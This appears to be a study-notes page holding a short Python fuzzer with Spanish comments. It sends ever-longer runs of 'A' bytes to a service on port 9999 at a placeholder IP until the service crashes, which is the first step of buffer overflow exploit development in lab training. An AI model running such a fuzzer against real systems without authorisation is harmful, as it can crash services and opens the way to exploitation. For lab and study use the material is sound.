Fuzzing
bo
import socket
import time
import sys
ip = "ip aqui"
port = 9999
timeout = 1
prefix = ""
string = prefix + "A" * 100 # Empieza con 100 bytes
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzeando con {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
# Aquí aumentamos 100 "A" más en cada iteración
string += "A" * 100
except:
print("Fuzzer ha crasheado en {} bytes".format(len(string) - len(prefix)))
sys.exit(0)


Last updated